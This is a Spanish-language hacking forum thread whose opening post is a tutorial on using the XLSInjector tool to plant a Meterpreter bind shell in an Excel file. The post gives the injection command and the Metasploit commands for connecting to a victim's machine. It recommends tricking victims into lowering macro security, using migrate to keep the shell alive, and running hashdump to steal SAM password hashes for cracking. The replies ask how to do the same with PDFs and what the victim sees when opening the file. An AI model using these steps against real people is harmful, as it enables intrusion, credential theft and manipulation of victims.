elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking (Moderador: toxeek)
| | |-+  XLSInjector – Inyectar Shell Meterpreter en Archivos Excel
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: XLSInjector – Inyectar Shell Meterpreter en Archivos Excel  (Leído 9,283 veces)
Shell Root
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.723


<3


Ver Perfil WWW
XLSInjector – Inyectar Shell Meterpreter en Archivos Excel
« en: 23 Diciembre 2009, 20:12 pm »

XLSInjector – Inyectar Shell Meterpreter en Archivos Excel




Para nadie es un secreto que la suite ofimática mas utilizada en el mundo es Microsoft Office, que se lleva la mayor parte de la cuota de mercado en entornos Windows y Mac, de esta suite, las aplicaciones mas utilizadas son Microsoft Word, Microsoft Excel y Microsoft Power Point que casi siempre están instaladas en la mayoría de computadores.

En esta ocasión les voy a hablar sobre XLSInjector, una herramienta creada en perl por keith lee que permite inyectar en un archivo XLS de Microsoft Excel una consola meterpreter (ejecutando todo en la memoria ram sin crear procesos adicionales), permitiéndonos acceder a el remotamente por el puerto 4444 y tomar total control de la maquina.

Para que XLSInjector funcione adecuadamente, necesitamos lo siguiente:

    * Una Maquina (virtual o real) con Windows
    * Microsoft Excel
    * Perl
    * El modulo Win32:OLE para Perl
    * Un archivo XML a infectar
    * El <a href="http://code.google.com/p/xlsinjector/">XLSInjector</a>
    * y por ultimo el Metasploit Framework

Después de tener todos los elementos necesarios para el correcto funcionamiento del XLSInjector pasamos a su ejecución, que es bastante simple:

Código:
perl xlsinjector.pl -i ArchivoDeExcel.xls -o ArchivoConShellDeExcel.xls

Pero no todo es tan simple con esta herramienta, resulta que XLSInjector NO salta los filtros de scripting puestos por Microsoft en su suite ofimática, por lo que toca convencer, por medio de ingeniería social o cualquier otra técnica que el mismo usuario ponga la seguridad de las macros en baja y que “confié” en los proyectos de VB, algo complicado pero que seguro con algo de presunción se consigue que realicen estas tareas.

Suponiendo que ya se realizaron las configuraciones adecuadas para el correcto funcionamiento del XLSInjector vamos a acceder remotamente a nuestra shell meterpreter mediante la consola del Metasploit Framework

    * iniciamos la consola del metasploit
    * una vez en la consola de MSF cargamos el payload de meterpreter
      set payload windows/meterpreter/bind_tcp
    * lo configuramos adecuadamente
      set RHOST ipdelpcvictima
      set RPOT 4444
    * luego lo lanzamos
      exploit

Con estos simples pasos tenemos a nuestra disposición una shell meterpreter en el equipo remoto.

Hay que resaltar la potencia de meterpreter para inyectar dll’s, subir ficheros, ejecutar scripts, te recomiendo que le des una leída a estos documentos (Meterpreter.pdf y MSF3-met.html) para que aprendas mas sobre los comandos del meterpreter.

Te recomiendo utilizar el comando migrate tan pronto puedas para evitar que tan pronto cierren el archivo XLS se cierre con el tu shell, otro comando recomendado es hashdump que te arroja el contenido del archivo SAM en la maquina victima para que posteriormente puedas obtener la clave de los usuarios con herramientas como l0phtcrack o cain&abel.

Fuente: http://www.dark-bits.org/wp/2009/12/xlsinjector-%E2%80%93-inyectar-shell-meterpreter-en-archivos-excel/
En línea

Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.
illera88


Desconectado Desconectado

Mensajes: 397


Ver Perfil
Re: XLSInjector – Inyectar Shell Meterpreter en Archivos Excel
« Respuesta #1 en: 3 Febrero 2010, 06:30 am »

Me interesa un montón este tema.
Hay algun tutorial parecido pero infectando un PDF para luego conseguir la shell con metasploit???

Enhorabuena porque siempre pones de lo mejorcito en este foro ;)
Un saludo
En línea

illera88


Desconectado Desconectado

Mensajes: 397


Ver Perfil
Re: XLSInjector – Inyectar Shell Meterpreter en Archivos Excel
« Respuesta #2 en: 3 Febrero 2010, 06:33 am »

Citar
Pero no todo es tan simple con esta herramienta, resulta que XLSInjector NO salta los filtros de scripting puestos por Microsoft en su suite ofimática, por lo que toca convencer, por medio de ingeniería social o cualquier otra técnica que el mismo usuario ponga la seguridad de las macros en baja y que “confié” en los proyectos de VB, algo complicado pero que seguro con algo de presunción se consigue que realicen estas tareas.

Puedes explicar un poco más a que te refieres con esto o que tiene que hacer la victima para pasar esas "trabas" de las que hablas???
Un saludo  y gracias ;);)
En línea

Shell Root
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.723


<3


Ver Perfil WWW
Re: XLSInjector – Inyectar Shell Meterpreter en Archivos Excel
« Respuesta #3 en: 3 Febrero 2010, 22:06 pm »

1. Simon, podes infectar un PDF con un PAYLOAD, podes usar el Fast-Track, despues lo pondré, ando retirado de la under :S
2. No todos las computadoras, tiene habilitado esta opcion, asi que tocará hacerlo manualmente, desconozco algun script para habilitarlo.
En línea

Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.
ikary

Desconectado Desconectado

Mensajes: 127


Ver Perfil
Re: XLSInjector – Inyectar Shell Meterpreter en Archivos Excel
« Respuesta #4 en: 3 Febrero 2010, 23:26 pm »

El post original se encuentra en http://www.dragonjar.org/xlsinjector-inyectar-shell-meterpreter-archivos-excel.xhtml?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+dragonjar%2FpKru+%28La+Comunidad+DragonJAR%29

Mas info y un video explicativo alli.

Por cierto, no se si DragoN será amigo tuyo y te permite publicar sus documentos, pero si no es asi, por lo menos deberias citarlo.  :silbar:

Por cierto, el enlace a la pagina Fuente que describes lleva a una pagina en blanco, y el resto esta en construccion. ;D

Un saludo
« Última modificación: 3 Febrero 2010, 23:42 pm por ikary » En línea

Shell Root
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.723


<3


Ver Perfil WWW
Re: XLSInjector – Inyectar Shell Meterpreter en Archivos Excel
« Respuesta #5 en: 4 Febrero 2010, 04:25 am »

1. DragoN es amigo mio.
2. Ese POST lo ví en www.dark-bits.org, me importa un Fuck, si esta en otra web o cual sea la web original. Solo puse la web donde la ví.
3. Si la pagina no esta ON actualmente, no es culpa mia.
En línea

Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.
ikary

Desconectado Desconectado

Mensajes: 127


Ver Perfil
Re: XLSInjector – Inyectar Shell Meterpreter en Archivos Excel
« Respuesta #6 en: 4 Febrero 2010, 12:13 pm »

-En ningun momento e dicho lo contrario sobre lo de dark-bits, de echo antes de postear busque en cache de google y aparecia, solo te comenté que el enlace llevaba a una pagina en blanco, no que fuese culpa tuya.
-Me parece muy bien que DragoN sea amigo tuyo, de echo lo supuse por que vi tus post en Dragonjar.
-Con mi post no pretendia hacer una critica, e visto el resto de tus post y en todos pones referencias correctas a la información.
-Si te a sentado mal, lo siento, no era esa mi intencion, te lo aseguro.

Un saludo
En línea

illera88


Desconectado Desconectado

Mensajes: 397


Ver Perfil
Re: XLSInjector – Inyectar Shell Meterpreter en Archivos Excel
« Respuesta #7 en: 10 Febrero 2010, 07:58 am »

Citar
Pero no todo es tan simple con esta herramienta, resulta que XLSInjector NO salta los filtros de scripting puestos por Microsoft en su suite ofimática, por lo que toca convencer, por medio de ingeniería social o cualquier otra técnica que el mismo usuario ponga la seguridad de las macros en baja y que “confié” en los proyectos de VB, algo complicado pero que seguro con algo de presunción se consigue que realicen estas tareas.

Es que sin esto es prácticamente inservible este exploit. Porque por defecto la seguridad está en ALTA... Y desmarcada la opcion de aceptar proyectos en visual basic...

Que es entonces lo que pasaría cuando la víctima lo abriese? Le aparece una ventana de error que tiene que dar a aceptar y ya esta infectado o simplemente no corre el exploit???

Un saludo
En línea

Shell Root
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.723


<3


Ver Perfil WWW
Re: XLSInjector – Inyectar Shell Meterpreter en Archivos Excel
« Respuesta #8 en: 10 Febrero 2010, 18:48 pm »

Supongo que saldra un ActiveX Control, preguntando que si quiere aceptar los Script de VB, por lo generar no son activados...
En línea

Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.
illera88


Desconectado Desconectado

Mensajes: 397


Ver Perfil
Re: XLSInjector – Inyectar Shell Meterpreter en Archivos Excel
« Respuesta #9 en: 10 Febrero 2010, 20:42 pm »

Supongo que saldra un ActiveX Control, preguntando que si quiere aceptar los Script de VB, por lo generar no son activados...
Aver si saco un rato y lo pruebo conmigo mismo a ver que pasa.
Un saludo
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Como inyectar una SHELL por el siguiente codigo PHP
Bugs y Exploits
Jnl 1 3,973 Último mensaje 7 Febrero 2012, 01:38 am
por s00rk
No consigo meterpreter pero si la shell
Hacking
fekaa 2 4,130 Último mensaje 5 Noviembre 2013, 08:52 am
por basdi
comando meterpreter shell android [Solucionado]
Bugs y Exploits
N3GR0 1 5,126 Último mensaje 29 Junio 2019, 20:48 pm
por N3GR0
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines